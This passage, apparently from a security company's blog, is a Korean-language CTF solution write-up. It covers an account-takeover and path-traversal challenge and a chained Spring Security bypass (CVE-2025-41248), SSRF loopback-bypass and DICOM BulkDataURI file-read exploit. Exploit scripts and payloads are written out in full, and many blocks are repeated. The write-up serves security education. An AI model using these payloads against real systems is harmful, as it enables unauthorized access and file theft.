    data={"email": email, "otp": get_otp(otpkey)})
resetToken = ch['resetToken']

# 새 비밀번호 설정
curl_json('POST', f'{url}/api/auth/password/reset/complete',
    data={"resetToken": resetToken, "newPassword": password})
# OTP 인증으로 리셋 토큰 발급
ch = curl_json('POST', f'{url}/api/auth/password/reset/verify',
    data={"email": email, "otp": get_otp(otpkey)})
resetToken = ch['resetToken']

# 새 비밀번호 설정
curl_json('POST', f'{url}/api/auth/password/reset/complete',
    data={"resetToken": resetToken, "newPassword": password})

STEP 6. internal_ops 권한 계정 로그인

초기화된 비밀번호로 내부 직원 계정에 로그인합니다. 로그인에도 OTP가 필요하며, 이미 공격자의 OTP 키가 등록되어 있으므로 인증에 성공합니다.

STEP 7. internal_admin 정보 수집

내부 직원 권한으로 감사 로그(audit-logs) API에 접근하면, 내부 관리자(internal_admin) 권한 계정의 target_id를 확인할 수 있습니다.

ch = curl_json('GET', f'{url}/api/auth/audit-logs?includeMeta=1&limit=500&offset=0',
    headers={"Authorization": f"Bearer{ops_token}"})
admin_userid = ch['items'][-1]['target_id']
ch = curl_json('GET', f'{url}/api/auth/audit-logs?includeMeta=1&limit=500&offset=0',
    headers={"Authorization": f"Bearer{ops_token}"})
admin_userid = ch['items'][-1]['target_id']
ch = curl_json('GET', f'{url}/api/auth/audit-logs?includeMeta=1&limit=500&offset=0',
    headers={"Authorization": f"Bearer{ops_token}"})
admin_userid = ch['items'][-1]['target_id']

STEP 8~9. internal_admin 계정 탈취

STEP 4~5와 동일한 이메일 스왑 및 비밀번호 초기화 절차를 internal_admin 권한 계정에 대해 반복합니다. 단, 이메일 변경은 협력사 계정의 admin 권한을 가진 계정에서만 가능하므로, 처음 회원가입한 계정의 토큰으로 요청해야 합니다. Rate limiting이 적용되어 있으므로 60초 대기가 필요합니다.

STEP 10. internal_admin 로그인

내부 관리자(internal_admin) 계정에 로그인하여 tokenuserKeySeed를 획득합니다.

STEP 11. 플래그 획득 — File Download

내부 관리자(internal_admin) 권한에서만 동작하는 파일 다운로드 API /api/contracts/attachments/download 기능을 사용하여 플래그 파일을 읽습니다. 해당 API는 특정 문자열을 필터링 하는 기법이 걸려 있으므로 이를 우회 하는 방법으로 파일 경로에 Path Traversal을 적용하여 /flag.txt에 접근합니다.

rawdata = make_secure_raw("/contracts/attachments/download", "POST",
    admin_userid, admin_userKeySeed,
    {"filePath": "/proc/self/root/", "fileName": "flag.txt"})

ch = curl_raw('POST', f'{url}/api/contracts/attachments/download',
    data=rawdata,
    headers={"Content-Type": "text/plain",
             "Authorization": f"Bearer{admin_token}"})
rawdata = make_secure_raw("/contracts/attachments/download", "POST",
    admin_userid, admin_userKeySeed,
    {"filePath": "/proc/self/root/", "fileName": "flag.txt"})

ch = curl_raw('POST', f'{url}/api/contracts/attachments/download',
    data=rawdata,
    headers={"Content-Type": "text/plain",
             "Authorization": f"Bearer{admin_token}"})
rawdata = make_secure_raw("/contracts/attachments/download", "POST",
    admin_userid, admin_userKeySeed,
    {"filePath": "/proc/self/root/", "fileName": "flag.txt"})

ch = curl_raw('POST', f'{url}/api/contracts/attachments/download',
    data=rawdata,
    headers={"Content-Type": "text/plain",
             "Authorization": f"Bearer{admin_token}"})

최종적으로 플래그 ENKI{6fab7762f935fe71629b482c285c7691}를 획득할 수 있습니다.

종합평

본 문제는 기술적 취약점(Path Traversal, CAPTCHA 우회)보다 비즈니스 로직 취약점(이메일 스왑을 통한 계정 탈취)에 중점을 둔 실전형 문제입니다. 다단계 인증(OTP)과 클라이언트 측 암호화(AES-GCM)가 적용되어 있어 보안 수준이 높아 보이지만, 이메일 변경 API의 권한 검증 부재라는 단일 논리적 결함이 전체 인증 체계를 무력화시킬 수 있음을 보여줍니다. 실무에서 암호화 통신이나 MFA만으로 안전하다고 판단하지 않고, 각 API의 비즈니스 로직에 대한 권한 검증을 반드시 수행해야 한다는 교훈을 제공합니다.

sfa

A medical robot Sales Force Automation system.

취약점 구분

Spring Security 메서드 보안 우회 (CVE-2025-41248), SSRF (Server-Side Request Forgery), DICOM BulkDataURI를 이용한 Local File Inclusion (LFI)

출제 의도

본 문제는 Java/Spring 기반 엔터프라이즈 애플리케이션에서 발견될 수 있는 프레임워크 수준의 보안 취약점의료 도메인 특화 포맷인 DICOM의 파싱 취약점을 조합해 공격 체인을 구성하는 능력을 평가하기 위해 출제되었습니다.

  1. Spring Security 메서드 보안 우회 (CVE-2025-41248): Java 제네릭과 상속 구조에서 발생하는 메서드 보안 적용 누락을 식별하고, 일반 사용자 권한으로 관리자 기능에 접근할 수 있는지 평가합니다.

  2. SSRF를 통한 내부 기능 접근: wkhtmltoimage 렌더링 과정에서 CSS를 이용한 SSRF를 수행하고, URL 파서 혼동을 통해 loopback 보호를 우회할 수 있는지 평가합니다.

  3. DICOM JSON Model의 DataFragment 파싱 취약점: dcm4che의 BulkDataURI 처리 차이를 분석해 보안 hook이 적용되지 않는 DataFragment 경로를 찾고, 이를 이용해 로컬 파일을 읽을 수 있는지 검증합니다.

풀이

1. 서비스 구조 파악

제공된 소스코드(Docker 구성)를 분석하면, 다음과 같은 구성을 확인할 수 있습니다.

  • Spring Boot 웹 애플리케이션 (포트 3000): 의료 로봇 영업 지원 시스템(SFA)

  • wkhtmltoimage: HTML을 이미지로 변환하는 렌더링 도구 (Xvfb 위에서 동작)

  • DICOM JSON을 .dcm 파일로 변환하는 기능

  • 플래그는 컨테이너의 /tmp/flag에 위치 (70바이트)

주요 기능으로는 로그인, 이미지 내보내기(/file/export_card), DICOM 파일 변환(/file/convert_medical) 등이 있습니다.

2. 1단계 — CVE-2025-41248: Spring Security 메서드 보안 우회

/file/export_card 컨트롤러는 로그인 여부만 확인하고, 실제 관리자 제한은 서비스 메서드의 @PreAuthorize(“hasRole(‘ADMIN’)”)에 의존합니다. 문제의 타입 계층은 다음과 같습니다.

HtmlToImageConversionService<A, B>          ← @PreAuthorize("hasRole('ADMIN')")
  └─ AbstractConversionService<B>           ← implements ...Service<String, B>; @Override convertToImage
       └─ HtmlToImageConversionServiceImpl  ← extends AbstractConversionService<String>

HtmlToImageConversionService<A, B>          ← @PreAuthorize("hasRole('ADMIN')")
  └─ AbstractConversionService<B>           ← implements ...Service<String, B>; @Override convertToImage
       └─ HtmlToImageConversionServiceImpl  ← extends AbstractConversionService<String>

HtmlToImageConversionService<A, B>          ← @PreAuthorize("hasRole('ADMIN')")
  └─ AbstractConversionService<B>           ← implements ...Service<String, B>; @Override convertToImage
       └─ HtmlToImageConversionServiceImpl  ← extends AbstractConversionService<String>

여기서 convertToImage()는 최상위 인터페이스에만 보안 어노테이션이 존재하고, 실제 구현체는 제네릭 상속 구조를 통해 이를 간접적으로 상속받습니다. CVE-2025-41248은 이런 parameterized type hierarchy에서 Spring Security의 annotation detection이 올바르게 동작하지 않아, 메서드 보안이 누락될 수 있는 문제입니다.

그 결과 ROLE_USER에 해당하는 user1 계정으로도 원래 관리자만 사용해야 하는 export_card 기능을 호출할 수 있습니다.

3. 2단계 — SSRF: Loopback 우회

export_card API는 wkhtmltoimage를 사용하여 HTML을 이미지로 렌더링합니다. 이 과정에서 CSS의 @import url(...) 구문이 처리되므로, 임의의 URL로 서버 측 요청을 유도할 수 있습니다.

애플리케이션은 sanitizer를 통해 localhost, 127.0.0.1 같은 loopback 주소를 차단하려고 하지만, 이 검사는 URL authority를 엄밀하게 파싱하지 않고 직접적인 loopback literal만 판별합니다. 따라서 다음과 같은 URL parser confusion 기법으로 우회가 가능합니다.

<http://example.com%5B@127.0.0.1:3000/core/nosession/extstore?request_key=CORE_PASSWD_RESET&USER_ID=admin>
<http://example.com%5B@127.0.0.1:3000/core/nosession/extstore?request_key=CORE_PASSWD_RESET&USER_ID=admin>
<http://example.com%5B@127.0.0.1:3000/core/nosession/extstore?request_key=CORE_PASSWD_RESET&USER_ID=admin>
  • %5B[의 URL 인코딩입니다.

  • HtmlSanitizer는 호스트를 example.com으로 파싱하여 loopback 차단을 통과합니다.

  • 실제 HTTP 클라이언트는 @ 앞부분을 userinfo로, 127.0.0.1:3000을 호스트로 인식하여 loopback으로 요청을 보냅니다.

이 SSRF를 통해 admin 계정의 비밀번호를 초기화합니다.

datahtml = (
    f'<html><head><style>@import url("<http://example.com>%5B@{SSRF_HOST}'
    f'/core/nosession/extstore?request_key=CORE_PASSWD_RESET&USER_ID=admin");'
    f"</style></head><body>reset</body></html>"
)
user.post(f"{BASE}/file/export_card",
    data={"datahtml": datahtml, "render_width": "1200"})
datahtml = (
    f'<html><head><style>@import url("<http://example.com>%5B@{SSRF_HOST}'
    f'/core/nosession/extstore?request_key=CORE_PASSWD_RESET&USER_ID=admin");'
    f"</style></head><body>reset</body></html>"
)
user.post(f"{BASE}/file/export_card",
    data={"datahtml": datahtml, "render_width": "1200"})
datahtml = (
    f'<html><head><style>@import url("<http://example.com>%5B@{SSRF_HOST}'
    f'/core/nosession/extstore?request_key=CORE_PASSWD_RESET&USER_ID=admin");'
    f"</style></head><body>reset</body></html>"
)
user.post(f"{BASE}/file/export_card",
    data={"datahtml": datahtml, "render_width": "1200"})

비밀번호 초기화 후 admin 계정으로 로그인합니다.

4. 3단계 — DICOM DataFragment BulkDataURI를 이용한 LFI

admin 권한으로 접근 가능한 /file/convert_medical 엔드포인트는 JSON을 DICOM 파일로 변환합니다. 내부적으로 dcm4che 라이브러리의 JSONReader를 사용합니다.

dcm4che는 DICOM JSON Model 스펙에 따라 BulkDataURI 필드를 지원하며, file:// 스킴을 사용하면 로컬 파일을 읽을 수 있습니다. 그러나 애플리케이션 코드에서 setBulkDataCreator()http:https: 스킴만 허용하는 resolver를 등록하여, top-level 속성의 BulkDataURI는 차단됩니다.

우회 경로 — DataFragment:

dcm4che JSONReaderDataFragment 처리 경로에서는 new BulkData(...)직접 생성하므로, setBulkDataCreator() hook을 우회합니다. DICOM JSON Model 스펙에서 DataFragment는 encapsulated pixel data를 표현하는 구조입니다.

{
  "00100010": { "vr": "PN", "Value": [{"Alphabetic": "FlagReport"}] },
  "7FE00010": {
    "vr": "OB",
    "DataFragment": [
      null,
      {"BulkDataURI": "file:///tmp/flag?offset=0&length=70"}
    ]
  }
}
{
  "00100010": { "vr": "PN", "Value": [{"Alphabetic": "FlagReport"}] },
  "7FE00010": {
    "vr": "OB",
    "DataFragment": [
      null,
      {"BulkDataURI": "file:///tmp/flag?offset=0&length=70"}
    ]
  }
}
{
  "00100010": { "vr": "PN", "Value": [{"Alphabetic": "FlagReport"}] },
  "7FE00010": {
    "vr": "OB",
    "DataFragment": [
      null,
      {"BulkDataURI": "file:///tmp/flag?offset=0&length=70"}
    ]
  }
}

DataFragment 구조 설명:

  • DataFragment[0] = Basic Offset Table (단일 프레임일 때 null)

  • DataFragment[1+] = 실제 데이터 프래그먼트 (InlineBinary 또는 BulkDataURI)

null이 반드시 필요한 이유는, dcm4che JSONReader가 배열의 첫 번째 요소를 offset table로 소비하기 때문입니다. null이 없으면 BulkDataURI가 offset table로 잘못 처리됩니다.

또한 dcm4che의 BulkData 클래스는 URI에서 offsetlength 쿼리 파라미터를 파싱하며, 문제에서는 플래그 길이가 70바이트이므로 length=70으로 지정해야 전체 내용을 읽을 수 있습니다.

5. 익스플로잇 실행

전체 공격 흐름을 자동화한 익스플로잇은 다음과 같습니다.

# 1. user1으로 로그인
user.post(f"{BASE}/auth/login",
    data="EMP_ID=user1&PASSWD=password&request_key=CORE_LOGIN_R_001")

# 2. SSRF로 admin 비밀번호 초기화 (CVE-2025-41248으로 export_card 접근)
user.post(f"{BASE}/file/export_card",
    data={"datahtml": datahtml, "render_width": "1200"})

# 3. admin으로 로그인
admin.post(f"{BASE}/auth/login",
    data="EMP_ID=admin&PASSWD=password&request_key=CORE_LOGIN_R_001")

# 4. DataFragment BulkDataURI로 플래그 파일 읽기
med = admin.post(f"{BASE}/file/convert_medical",
    json={
        "00100010": {"vr": "PN", "Value": [{"Alphabetic": "FlagReport"}]},
        "7FE00010": {
            "vr": "OB",
            "DataFragment": [
                None, # null
                {"BulkDataURI": "file:///tmp/flag?offset=0&length=70"}
            ]
        }
    })

# 5. DICOM 파일 다운로드 → 플래그 추출
fid = med.json()["data"][0]["FILE_ID"]
blob = admin.get(f"{BASE}/file/link_{fid}.dcm")
# 1. user1으로 로그인
user.post(f"{BASE}/auth/login",
    data="EMP_ID=user1&PASSWD=password&request_key=CORE_LOGIN_R_001")

# 2. SSRF로 admin 비밀번호 초기화 (CVE-2025-41248으로 export_card 접근)
user.post(f"{BASE}/file/export_card",
    data={"datahtml": datahtml, "render_width": "1200"})

# 3. admin으로 로그인
admin.post(f"{BASE}/auth/login",
    data="EMP_ID=admin&PASSWD=password&request_key=CORE_LOGIN_R_001")

# 4. DataFragment BulkDataURI로 플래그 파일 읽기
med = admin.post(f"{BASE}/file/convert_medical",
    json={
        "00100010": {"vr": "PN", "Value": [{"Alphabetic": "FlagReport"}]},
        "7FE00010": {
            "vr": "OB",
            "DataFragment": [
                None, # null
                {"BulkDataURI": "file:///tmp/flag?offset=0&length=70"}
            ]
        }
    })

# 5. DICOM 파일 다운로드 → 플래그 추출
fid = med.json()["data"][0]["FILE_ID"]
blob = admin.get(f"{BASE}/file/link_{fid}.dcm")
# 1. user1으로 로그인
user.post(f"{BASE}/auth/login",
    data="EMP_ID=user1&PASSWD=password&request_key=CORE_LOGIN_R_001")

# 2. SSRF로 admin 비밀번호 초기화 (CVE-2025-41248으로 export_card 접근)
user.post(f"{BASE}/file/export_card",
    data={"datahtml": datahtml, "render_width": "1200"})

# 3. admin으로 로그인
admin.post(f"{BASE}/auth/login",
    data="EMP_ID=admin&PASSWD=password&request_key=CORE_LOGIN_R_001")

# 4. DataFragment BulkDataURI로 플래그 파일 읽기
med = admin.post(f"{BASE}/file/convert_medical",
    json={
        "00100010": {"vr": "PN", "Value": [{"Alphabetic": "FlagReport"}]},
        "7FE00010": {
            "vr": "OB",
            "DataFragment": [
                None, # null
                {"BulkDataURI": "file:///tmp/flag?offset=0&length=70"}
            ]
        }
    })

# 5. DICOM 파일 다운로드 → 플래그 추출
fid = med.json()["data"][0]["FILE_ID"]
blob = admin.get(f"{BASE}/file/link_{fid}.dcm")

다운로드된 DICOM 파일에서 플래그 ENKI{70fdfaf2d4f48c8afc9de13c4c92ea02b4afc1a1d73a13e581024546e2cee53b}를 추출할 수 있습니다.

종합평

본 문제는 단일 취약점을 찾는 데서 끝나는 문제가 아니라, 서비스 구조를 분석하고 서로 다른 성격의 취약점을 단계적으로 연결해 최종 목표에 도달하는 과정을 평가하기 위해 설계되었습니다. 초반에는 일반 사용자 권한에서 노출된 기능과 접근제어 구조를 파악하고, 이를 바탕으로 Spring Security 메서드 보안 우회를 통해 관리자 전용 기능에 도달해야 다음 단계로 이어질 수 있도록 구성하였습니다.

핵심 의도는 프레임워크 수준의 권한 우회, 렌더링 과정에서의 SSRF, 그리고 DICOM 파서의 DataFragment 처리 결함을 하나의 체인으로 엮는 데 있습니다. 단순히 개별 취약점을 아는 것만으로는 해결할 수 없고, 애플리케이션 로직, 내부 기능 호출 방식, 라이브러리의 세부 동작을 함께 분석하여 실제 공격 경로를 완성할 수 있는지를 확인하고자 하였습니다.

엔키화이트햇

엔키화이트햇

ENKI Whitehat
ENKI Whitehat

오펜시브 시큐리티 전문 기업, 공격자 관점으로 깊이가 다른 보안을 제시합니다.

오펜시브 시큐리티 전문 기업, 공격자 관점으로 깊이가 다른 보안을 제시합니다.

빈틈없는 보안 설계의 시작, NO.1 화이트 해커의 노하우로부터

침해사고 발생 전,
지금 대비하세요

빈틈없는 보안 설계의 시작,
NO.1 화이트 해커의 노하우로부터

침해사고 발생 전,
지금 대비하세요

빈틈없는 보안 설계의 시작,
NO.1 화이트 해커의 노하우로부터

침해사고 발생 전,
지금 대비하세요

구독하기

콘텐츠가 유용했다면?
엔키 레터를 구독하세요!

Copyright © 2025. ENKI WhiteHat Co., Ltd. All rights reserved.

Copyright © 2025. ENKI WhiteHat Co., Ltd. All rights reserved.

Copyright © 2025. ENKI WhiteHat Co., Ltd. All rights reserved.